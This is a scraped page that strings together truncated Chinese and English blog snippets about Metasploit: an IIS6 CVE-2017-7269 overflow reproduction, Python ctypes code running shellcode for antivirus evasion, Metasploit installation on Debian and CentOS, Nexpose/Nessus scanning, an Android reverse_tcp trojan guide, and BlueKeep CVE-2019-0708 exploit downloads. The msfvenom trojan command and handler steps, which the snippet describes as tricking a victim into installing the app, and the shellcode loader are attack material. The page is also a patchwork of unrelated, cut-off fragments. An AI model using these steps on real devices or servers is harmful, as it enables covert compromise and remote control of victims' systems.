metasploit

IIS6远程代码执行漏洞复现CVE-2017-7269

…衆ロ難τιáo~ 提交于 2019-12-04 16:30:05
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。 测试环境 受攻击系统:windows server 2003 攻击系统:Kali 2018.04 反弹主机:Ubuntu 18.04 LTS CVE-2017-7269漏洞原理 由恶意的 PROPFIND 请求所引起:当 If 字段包含了 http://localhost/xxxx 这段超长URL时,导致缓冲区溢出(包括栈溢出和堆溢出) 具体位置在w3wp.exe,httpext模块的ScStoragePathFromUrl函数处。 httpext!ScStoragePathFromUrl+0x360 处复制内存时产生了堆溢出 被溢出的堆块在 httpext!HrCheckIfHeader+0x0000013c 处分配; 崩溃所在位置也是从函数 httpext!HrCheckIfHeader 执行过来的; Metasploit5利用EXP Metasploit加载自定义模块 加载自定义模块方法 1、 在home目录里的【$HOME/.msf4/modules/exploits/】里就是自定义的模块 2、

ctypes: Cast string to function?

有些话、适合烂在心里 提交于 2019-12-04 14:40:49
I was reading the article Tips for Evading Anti-Virus During Pen Testing and was surprised by given Python program: from ctypes import * shellcode = '\xfc\xe8\x89\x00\x00....' memorywithshell = create_string_buffer(shellcode, len(shellcode)) shell = cast(memorywithshell, CFUNCTYPE(c_void_p)) shell() The shellcode is shortened. Can someone explain what is going on? I'm familiar with both Python and C, I've tried read on the ctypes module, but there are two main questions left: What is stored in shellcode ? I know this has something to do with C (in the article it is an shellcode from Metasploit

Debian9安装Metasploit

匆匆过客 提交于 2019-12-03 23:18:52
参考博文:https://www.jianshu.com/p/ea0629b9e367 0x0 添加Kali源 deb http://http.kali.org/kali kali-rolling main non-free contrib deb-src http://http.kali.org/kali kali-rolling main non-free contrib 添加数字证书 $wget archive.kali.org/archive-key.asc //下载签名 $apt-key add archive-key.asc //安装签名 更新包列表 $apt-get update 0x1 安装postgresql 添加postgresql源 deb http://apt.postgresql.org/pub/repos/apt/ stretch-pgdg main 安装postgresql $wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | apt-key add - //添加数字证书 $apt-get update $apt-get install postgresql 0x2 安装metasploit-framework $apt-get install

metasploit漏洞扫描

[亡魂溺海] 提交于 2019-12-03 23:12:36
1.常用普通功能 db_destory //删除数据库 nc ip port //获取基本系统信息 #### 2.nexpose 连接数据库 load nexpose //载入nexpose插件 msf > help msf > nexpose_connect -h //查看连接nexpose需要的参数 msf >nexpose_connect 用户名:密码 ip地址 ok——登录到nexpose msf >nexpose_scan //开始扫描 msf > db_hosts -c adress //安地址分类查看结果 msf >db_vulns //查看详细信息 #### 3.nessus msf >load nessus msf >nessus_help msf >nessus_policy_list //查看扫描选项 msf >nessus_sacn_new 选项号 任务名字 IP地址 msf >nessus_scan_status //扫描状态 msf >nessus_report_list //所有扫描结果报告 msf >nessus_report_get ID号 //下载某个报告 4.其他 vnc无密码扫描 msf > use auxiliary/scanner/vnc/vnc_none_auth x11无密码扫描 msf > use auxiliary/x11

metasploit安卓木马

只愿长相守 提交于 2019-12-03 23:12:26
metasploit---安卓木马入侵 (仅供学习使用,禁止非法使用) 1.生成木马程序 msfvenom -p android/meterpreter/reverse_tcp LHOST=本机ip LPORT=本机端口 R > 保存路径/文件名.apk 这里我们使用了反射型tcp,让目标主机连接我们,有时攻击服务器时这种方法可以很好的绕过防火墙。 2.想方设法欺骗对方安装木马app 3.打开msfconsole开始攻击 //选择模块 use exploit/multi/handler //显示攻击载荷 show payloads //设置攻击载荷 set payload android/meterpreter/reverse_tcp //显示需要配置的选项 show options //设置本机ip set lhost 本机ip //设置本机监听端口 set lport 本机端口 4.攻击成功,则会得到一个meterpreter会话 输入help查看帮助。 Then you can do what you want to do. Fun! 来源: https://www.cnblogs.com/WTa0/p/11810885.html

CVE-2019-0708漏洞复现及采坑记

天大地大妈咪最大 提交于 2019-12-03 20:50:46
经历了很多次失败、蓝屏之后,终于找到了稳定复现的方法。 虚拟化软件 :VMware Workstation 操作系统 :Windows 7 旗舰版 6.1.7601 Service Pack 1 Build 7601,官方镜像初始化安装后未安装任何安全补丁。 虚拟机配置 :内存2GB、处理器1个、每个处理器的内核数量1个 实验步骤 第一步 :从GitHub下载4个*.rb脚本 https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp

CVE-2019-0708复现

匿名 (未验证) 提交于 2019-12-02 23:59:01
本人在此申明: 此次复现仅供学习使用 不可用于非法用途 一切违法后果与本人无关 复现0708第一步 github下载exp Kali 里面执行命令 wget https : //raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb wget https : //github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb wget https : //github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb wget https : //github.com/rapid7/metasploit-framework/raw

CVE-2019-0708 exp相关

匿名 (未验证) 提交于 2019-12-02 23:59:01
  2019年9月7日凌晨,metasploit公司官宣发布了CVE-2019-0708的exp,该exp只能针对win7 64,及windows 2008 R2(该版本下需要修改注册表以通过RDPSND通道进行堆布局),测试之后效果如下,这里注意把msf的rdp库给换了,target也得选对(1实体,2,3虚拟机),由于本身是uaf的漏洞,因此对目标虚拟机的核心有所要求,正常虚拟机1/2核的话,利用情况还是比较稳定的,但是一旦核心增加到4核,蓝屏的几率就很大了,几乎大于百分之五十,由此看来,metasploit也没有很好的解决这个问题,但是无论如何对于企业内部的实体机而言,利用成功率应该较少,但是exp的危害程度至少是一次服务器的蓝屏了,所以赶紧打补丁吧!    来源:博客园 作者: goabout2 链接:https://www.cnblogs.com/goabout2/p/11481468.html

centos7 安装msf5

匿名 (未验证) 提交于 2019-12-02 23:57:01
0x1 安装依赖 yum install sqlite - devel libxslt - devel libxml2 - devel java - 1.7 . 0 - openjdk libpcap - devel nano openssl - devel zlib - devel libffi - devel gdbm - devel readline - devel wget gcc - c ++ patch readline zlib bzip2 autoconf automake libtool bison iconv - devel libyaml - devel make postgresql - devel 0x2 安装rvm curl - sSL https : //rvm.io/mpapis.asc | gpg --import - curl - L get . rvm . io | bash - s stable #经常出现获取不到的情况,看他提示运行相关操作 source / etc / profile . d / rvm . sh rvm reload 0x3 安装ruby-2.6 rvm install ruby - 2.6 . 2 0x4 下载编译msf5 git clone https : //github.com/rapid7/metasploit